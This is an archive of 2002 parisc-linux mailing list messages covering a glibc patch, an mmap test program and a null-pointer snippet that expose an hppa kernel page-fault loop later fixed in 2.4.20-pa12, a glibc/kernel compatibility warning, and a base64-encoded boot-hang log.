Original-Received: from redhat.com (myware.akkadia.org [192.168.7.70])
	(authenticated bits=0)
	by myware.akkadia.org (8.12.5/8.12.5) with ESMTP id gB8MtXYA010066;
	Sun, 8 Dec 2002 14:55:34 -0800
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2) Gecko/20021202
X-Accept-Language: en-us, en
In-Reply-To: <20021208220918.GC32062@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17049

Carlos O'Donell wrote:

> 2002-12-07  Carlos O'Donell  <carlos@baldric.uwo.ca>
> 
> 	* sysdeps/unix/sysv/linux/hppa/bits/shm.h: Added SHMLBA define.

I've added the patch.  Thanks,

-- 
--------------.                        ,-.            444 Castro Street
Ulrich Drepper \    ,-----------------'   \ Mountain View, CA 94041 USA
Red Hat         `--' drepper at redhat.com `---------------------------



From - Thu Nov 08 21:25:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Trap handler
Date: Sun, 8 Dec 2002 18:55:30 -0500 (EST)
Lines: 258
Approved: news@gmane.org
Message-ID: <200212082355.gB8NtUAe010825@hiauly1.hia.nrc.ca>
References: <20021208232601.GH21187@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622006 18456 80.91.229.3 (22 Nov 2014 02:06:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:46 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  8 16:55:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CEF6D4829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Dec 2002 16:55:37 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gB8NtVot010826;
	Sun, 8 Dec 2002 18:55:31 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gB8NtUAe010825;
	Sun, 8 Dec 2002 18:55:30 -0500 (EST)
In-Reply-To: <20021208232601.GH21187@tausq.org> from "Randolph Chung" at Dec 8, 2002 03:26:01 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17050

> > I just happened to notice that the system almost totally stalled running
> > the test.  The load average jumps from 1 to about 9.  You just have to
> > compile and run to see the effect.  Line 127 writes to unmapped memory
> > and causes multiple entries in /var/log/debug.
> 
> Dave, can you send the test program and details to the list? i didn't
> see the beginning of this thread and am not sure which program you are
> refering to.

Here it is.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <signal.h>
#include <setjmp.h>
#include <stdio.h>

#if !defined (MAP_ANONYMOUS) && defined (MAP_ANON)
# define MAP_ANONYMOUS MAP_ANON
#endif

/* This mess was copied from the GNU getpagesize.h.  */
#ifndef HAVE_GETPAGESIZE
# ifdef HAVE_UNISTD_H
#  include <unistd.h>
# endif

/* Assume that all systems that can run configure have sys/param.h.  */
# ifndef HAVE_SYS_PARAM_H
#  define HAVE_SYS_PARAM_H 1
# endif

# ifdef _SC_PAGESIZE
#  define getpagesize() sysconf(_SC_PAGESIZE)
# else /* no _SC_PAGESIZE */
#  ifdef HAVE_SYS_PARAM_H
#   include <sys/param.h>
#   ifdef EXEC_PAGESIZE
#    define getpagesize() EXEC_PAGESIZE
#   else /* no EXEC_PAGESIZE */
#    ifdef NBPG
#     define getpagesize() NBPG * CLSIZE
#     ifndef CLSIZE
#      define CLSIZE 1
#     endif /* no CLSIZE */
#    else /* no NBPG */
#     ifdef NBPC
#      define getpagesize() NBPC
#     else /* no NBPC */
#      ifdef PAGESIZE
#       define getpagesize() PAGESIZE
#      endif /* PAGESIZE */
#     endif /* no NBPC */
#    endif /* no NBPG */
#   endif /* no EXEC_PAGESIZE */
#  else /* no HAVE_SYS_PARAM_H */
#   define getpagesize() 8192	/* punt totally */
#  endif /* no HAVE_SYS_PARAM_H */
# endif /* no _SC_PAGESIZE */

#endif /* no HAVE_GETPAGESIZE */

#ifndef MAP_FAILED
# define MAP_FAILED -1
#endif

#undef perror_exit
#define perror_exit(str, val) \
  do { perror(str); exit(val); } while (0)

/* Some versions of cygwin mmap require that munmap is called with the
   same parameters as mmap.  GCC expects that this is not the case.
   Test for various forms of this problem.  Warning - icky signal games.  */

static sigset_t unblock_sigsegv;
static jmp_buf r;
static size_t pg;
static int devzero;

static char *
anonmap (size)
     size_t size;
{
#ifdef USE_MAP_ANON
  return (char *) mmap (0, size, PROT_READ|PROT_WRITE,
			MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
#else
  return (char *) mmap (0, size, PROT_READ|PROT_WRITE,
			MAP_PRIVATE, devzero, 0);
#endif
}

static void
sigsegv (unused)
     int unused;
{
  sigprocmask (SIG_UNBLOCK, &unblock_sigsegv, 0);
  longjmp (r, 1);
}

/* Basic functionality test.  */
void
test_0 ()
{
  char *x = anonmap (pg);
  if (x == (char *) MAP_FAILED)
    perror_exit("test 0 mmap", 2);

  *(int *)x += 1;

  if (munmap(x, pg) < 0)
    perror_exit("test 0 munmap", 3);
}

/* 1. If we map a 2-page region and unmap its second page, the first page
   must remain.  */
static void
test_1 ()
{
  char *x = anonmap (pg * 2);
  if (x == (char *)MAP_FAILED)
    perror_exit ("test 1 mmap", 4);

  signal (SIGSEGV, sigsegv);
  if (setjmp (r))
    perror_exit ("test 1 fault", 5);

  x[0] = 1;
  x[pg] = 1;

  if (munmap (x + pg, pg) < 0)
    perror_exit ("test 1 munmap 1", 6);
  x[0] = 2;

  if (setjmp (r) == 0)
    {
      x[pg] = 1;
      perror_exit ("test 1 no fault", 7);
    }
  if (munmap (x, pg) < 0)
    perror_exit ("test 1 munmap 2", 8);
}

/* 2. If we map a 2-page region and unmap its first page, the second
   page must remain.  */
static void
test_2 ()
{
  char *x = anonmap (pg * 2);
  if (x == (char *)MAP_FAILED)
    perror_exit ("test 2 mmap", 9);

  signal (SIGSEGV, sigsegv);
  if (setjmp (r))
    perror_exit ("test 2 fault", 10);

  x[0] = 1;
  x[pg] = 1;

  if (munmap (x, pg) < 0)
    perror_exit ("test 2 munmap 1", 11);

  x[pg] = 2;

  if (setjmp (r) == 0)
    {
      x[0] = 1;
      perror_exit ("test 2 no fault", 12);
    }

  if (munmap (x+pg, pg) < 0)
    perror_exit ("test 2 munmap 2", 13);
}

/* 3. If we map two adjacent 1-page regions and unmap them both with
   one munmap, both must go away.

   Getting two adjacent 1-page regions with two mmap calls is slightly
   tricky.  All OS's tested skip over already-allocated blocks; therefore
   we have been careful to unmap all allocated regions in previous tests.
   HP/UX allocates pages backward in memory.  No OS has yet been observed
   to be so perverse as to leave unmapped space between consecutive calls
   to mmap.  */

static void
test_3 ()
{
  char *x, *y, *z;

  x = anonmap (pg);
  if (x == (char *)MAP_FAILED)
    perror_exit ("test 3 mmap 1", 14);
  y = anonmap (pg);
  if (y == (char *)MAP_FAILED)
    perror_exit ("test 3 mmap 2", 15);

  if (y != x + pg)
    {
      if (y == x - pg)
	z = y, y = x, x = z;
      else
	{
	  fprintf (stderr, "test 3 nonconsecutive pages - %lx, %lx\n",
		   (unsigned long)x, (unsigned long)y);
	  exit (16);
	}
    }

  signal (SIGSEGV, sigsegv);
  if (setjmp (r))
    perror_exit ("test 3 fault", 17);

  x[0] = 1;
  y[0] = 1;

  if (munmap (x, pg*2) < 0)
    perror_exit ("test 3 munmap", 18);

  if (setjmp (r) == 0)
    {
      x[0] = 1;
      perror_exit ("test 3 no fault 1", 19);
    }
  
  signal (SIGSEGV, sigsegv);
  if (setjmp (r) == 0)
    {
      y[0] = 1;
      perror_exit ("test 3 no fault 2", 20);
    }
}

int
main ()
{
  sigemptyset (&unblock_sigsegv);
  sigaddset (&unblock_sigsegv, SIGSEGV);
  pg = getpagesize ();
#ifndef USE_MAP_ANON
  devzero = open ("/dev/zero", O_RDWR);
  if (devzero < 0)
    perror_exit ("open /dev/zero", 1);
#endif

  test_0();
  test_1();
  test_2();
  test_3();

  exit(0);
}


From - Thu Nov 08 21:25:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Trap handler
Date: Sun, 8 Dec 2002 21:12:14 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <20021209051214.GK21187@tausq.org>
References: <20021208232601.GH21187@tausq.org> <200212082355.gB8NtUAe010825@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622006 18460 80.91.229.3 (22 Nov 2014 02:06:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:46 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  8 22:08:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2E2D4829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Dec 2002 22:08:57 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 03022CD64C; Sun,  8 Dec 2002 21:12:14 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200212082355.gB8NtUAe010825@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17051

In reference to a message from John David Anglin, dated Dec 08:
> > > I just happened to notice that the system almost totally stalled running
> > > the test.  The load average jumps from 1 to about 9.  You just have to
> > > compile and run to see the effect.  Line 127 writes to unmapped memory
> > > and causes multiple entries in /var/log/debug.
> > 
> > Dave, can you send the test program and details to the list? i didn't
> > see the beginning of this thread and am not sure which program you are
> > refering to.
> 
> Here it is.

well, something is just very broken, even this simple code triggers the
bug:

int main(int argc, char **argv)
{
        int *p = 0;
        return *p;
}

the kernel goes nuts trying to page fault continuously.

:-(
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [hppa] problem using glibc2.3 with older 64-bit kernels
Date: Sun, 8 Dec 2002 22:08:33 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20021209060833.GL21187__15100.5747881301$1416622007$gmane$org@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622007 18462 80.91.229.3 (22 Nov 2014 02:06:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:47 +0000 (UTC)
Cc: debian-glibc@lists.debian.org
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  8 23:04:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8EBA54829
	for <parisc-linux@parisc-linux.org>; Sun,  8 Dec 2002 23:04:51 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 312F5CD64C; Sun,  8 Dec 2002 22:08:33 -0800 (PST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17052

This is a heads up for people running 64-bit hppa kernels with new glibc
(2.3.1). Make sure you have at least 2.4.19-pa17, otherwise fcntl() will
break with the new glibc and you won't be able to use e.g. apt.

This was needed to fix some problems with lfs on hppa. Unfortunately it
cannot be done in a completely backwards compatible manner.

32-bit kernels are not affected.

<sigh>
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trap handler
Date: Sun, 8 Dec 2002 22:19:13 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20021209061913.GM21187@tausq.org>
References: <20021208232601.GH21187@tausq.org> <200212082355.gB8NtUAe010825@hiauly1.hia.nrc.ca> <20021209051214.GK21187@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622007 18465 80.91.229.3 (22 Nov 2014 02:06:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:47 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  8 23:15:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD8D14829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Dec 2002 23:15:27 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 6C582CD64C; Sun,  8 Dec 2002 22:19:13 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20021209051214.GK21187@tausq.org>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17053

> > Here it is.
> 
> well, something is just very broken, even this simple code triggers the
> bug:

and with Grant's help, it's fixed in 2.4.20-pa12 :)

question for willy/jsm, etc though:
the fix has to do with where we should return to after handling an
interruption. in pre-2.4.20 code we used to return to intr_return. Grant
thinks that is incorrect and changed it to intr_restore (basically just
doing the rfi). the -pa12 patch changes it back so it will handle
pending signals. The items that remain not handled are restoring I-bit,
softirqs (and irqstats) and rescheduling. We are not sure if those bits
are needed for interruptions....  can you guys shed some light on this?

thanks,
randolph


From - Thu Nov 08 21:25:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new 2.4.20-pa10 kernel: boot pb.
Date: Mon, 09 Dec 2002 09:39:49 +0100
Organization: H.P
Lines: 65
Approved: news@gmane.org
Message-ID: <3DF456D5.7E000273@admin.france.hp.com>
References: <3DF0D2C0.D24A29B1@admin.france.hp.com> <20021206170904.GY19331@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------6D215F283D0123C92F400FB5"
X-Trace: ger.gmane.org 1416622007 18466 80.91.229.3 (22 Nov 2014 02:06:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:47 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  9 01:40:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78B054829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Dec 2002 01:40:05 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id D456950E; Mon,  9 Dec 2002 09:39:57 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id JAA02473; Mon, 9 Dec 2002 09:37:59 +0100 (MET)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17054

This is a multi-part message in MIME format.
--------------6D215F283D0123C92F400FB5
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

ICAgIEhpDQpTdGlsbCB0aGUgc2FtZSBiZWhhdmlvcjoNCg0Kc3ltLjAuMi4wOiBzZXR0aW5n
IFBDSV9DT01NQU5EX01BU1RFUi4uLg0Kc3ltLjAuMi4xOiBzZXR0aW5nIFBDSV9DT01NQU5E
X01BU1RFUi4uLg0Kc3ltLjAuMS4wOiBzZXR0aW5nIFBDSV9DT01NQU5EX01BU1RFUi4uLg0K
c3ltMDogPDg3NT4gcmV2IDB4MTQgb24gcGNpIGJ1cyAwIGRldmljZSAyIGZ1bmN0aW9uIDAg
aXJxIDEzMA0Kc3ltMDogTm8gTlZSQU0sIElEIDcsIEZhc3QtMjAsIFNFLCBwYXJpdHkgY2hl
Y2tpbmcNCnN5bTA6IFNDU0kgQlVTIGhhcyBiZWVuIHJlc2V0Lg0Kc3ltMTogPDg3NT4gcmV2
IDB4MTQgb24gcGNpIGJ1cyAwIGRldmljZSAyIGZ1bmN0aW9uIDEgaXJxIDEzMQ0Kc3ltMTog
Tm8gTlZSQU0sIElEIDcsIEZhc3QtMjAsIFNFLCBwYXJpdHkgY2hlY2tpbmcNCnN5bTE6IFND
U0kgQlVTIGhhcyBiZWVuIHJlc2V0Lg0Kc3ltMjogPDg5Nj4gcmV2IDB4NyBvbiBwY2kgYnVz
IDAgZGV2aWNlIDEgZnVuY3Rpb24gMCBpcnEgMTI5DQpzeW0yOiBObyBOVlJBTSwgSUQgNywg
RmFzdC00MCwgTFZELCBwYXJpdHkgY2hlY2tpbmcNCnN5bTI6IFNDU0kgQlVTIGhhcyBiZWVu
IHJlc2V0Lg0Kc3ltMzogPDg5Nj4gcmV2IDB4NyBvbiBwY2kgYnVzIDAgZGV2aWNlIDEgZnVu
Y3Rpb24gMSBpcnEgMTMwDQpzeW0zOiBObyBOVlJBTSwgSUQgNywgRmFzdC00MCwgU0UsIHBh
cml0eSBjaGVja2luZw0Kc3ltMzogU0NTSSBCVVMgaGFzIGJlZW4gcmVzZXQuDQpzeW0zOiBT
Q1NJIEJVUyBtb2RlIGNoYW5nZSBmcm9tIFNFIHRvIFNFLg0Kc3ltMzogU0NTSSBCVVMgaGFz
IGJlZW4gcmVzZXQuDQpzY3NpMCA6IHN5bS0yLjEuMTdhDQpzY3NpMSA6IHN5bS0yLjEuMTdh
DQpzY3NpMiA6IHN5bS0yLjEuMTdhDQpzY3NpMyA6IHN5bS0yLjEuMTdhDQpibGs6IHF1ZXVl
IDAwMDAwMDAwNGY5ZjNlNDAsIEkvTyBsaW1pdCA0MDk1TWIgKG1hc2sgMHhmZmZmZmZmZikN
Cg0KTm90aGluZyBtb3JlLi4uLi4uLi4uDQpJJ2xsIHRyeSB3aXRoIHNwaW5sb2NrIGRlYnVn
IG5vdy4NClJhbmRvbHBoIENodW5nIHdyb3RlOg0KDQo+ID4gbm90aGluZyBtb3JlLCBpdCBz
dGF5IGhlcmUgZm9yZXZlci4uLi4uLi4NCj4gPg0KPiA+IEl0IGlzIGFuIEE1MDAgaW4gU01Q
LzY0Lg0KPiA+DQo+ID4gQSBub3JtYWwgYm9vdCB3aXRoIDIuNC4xOQ0KPiA+IHNjc2kxIDog
c3ltNTNjOHh4LTEuNy4zYy0yMDAxMDUxMg0KPiA+IHNjc2kyIDogc3ltNTNjOHh4LTEuNy4z
Yy0yMDAxMDUxMg0KPiA+IHNjc2kzIDogc3ltNTNjOHh4LTEuNy4zYy0yMDAxMDUxMg0KPiA+
ICAgVmVuZG9yOiBTRUFHQVRFICAgTW9kZWw6IFNUMzEyMzBOICAgICAgICAgIFJldjogSFAw
NQ0KPiA+ICAgVHlwZTogICBEaXJlY3QtQWNjZXNzICAgICAgICAgICAgICAgICAgICAgIEFO
U0kgU0NTSSByZXZpc2lvbjogMDINCj4gPiAgIFZlbmRvcjogU0VBR0FURSAgIE1vZGVsOiBT
VDMxODQwNExDICAgICAgICBSZXY6IEhQMDQNCj4NCj4gQnJ1bm8sIGNhbiB5b3UgdHJ5IHRo
ZSBzeW0yIGRyaXZlciBhbmQgbGV0IHVzIGtub3cgaG93IGl0IGdvZXM/DQo+DQo+IENPTkZJ
R19TQ1NJX1NZTTUzQzhYWF8yPXkNCj4gQ09ORklHX1NDU0lfU1lNNTNDOFhYX0RNQV9BRERS
RVNTSU5HX01PREU9MA0KPiBDT05GSUdfU0NTSV9TWU01M0M4WFhfREVGQVVMVF9UQUdTPTE2
DQo+IENPTkZJR19TQ1NJX1NZTTUzQzhYWF9NQVhfVEFHUz02NA0KPg0KPiB0aGVyZSB3YXMg
YSBzaW1pbGFyIHByb2JsZW0gd2l0aCB0aGUgc3ltMiBkcml2ZXIgdGhhdCB3YXMgZml4ZWQN
Cj4gcmVjZW50bHkuDQo+DQo+IGFsdGVybmF0aXZlbHksIHBsZWFzZSB0cnkgdHVybmluZyBv
biBDT05GSUdfREVCVUdfU1BJTkxPQ0sgaW4geW91cg0KPiBrZXJuZWwgYW5kIHRyeSBydW5u
aW5nIHRoZSBzeW01M2M4eHggZHJpdmVyIGFuZCBzZWUgaWYgdGhhdCBoZWxwcw0KPiBpZGVu
dGlmeSB0aGUgcHJvYmxlbS4uLg0KPg0KPiByYW5kb2xwaA0KPiAtLQ0KPiBSYW5kb2xwaCBD
aHVuZw0KPiBEZWJpYW4gR05VL0xpbnV4IERldmVsb3BlciwgaHBwYS9pYTY0IHBvcnRzDQo+
IGh0dHA6Ly93d3cudGF1c3Eub3JnLw0KDQotLQ0KICAgICAgICBWaWRhbCBCcnVubywgKDc3
MC00MjcxKQ0KICAgICAgICBTU0QtSEEgVGVhbSwgSFAtVVggJiBMSU5VWCBTdXBwb3J0DQog
ICAgICAgIGJydW5vX3ZpZGFsQGFkbWluLmZyYW5jZS5ocC5jb20NCg0KDQo=
--------------6D215F283D0123C92F400FB5
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
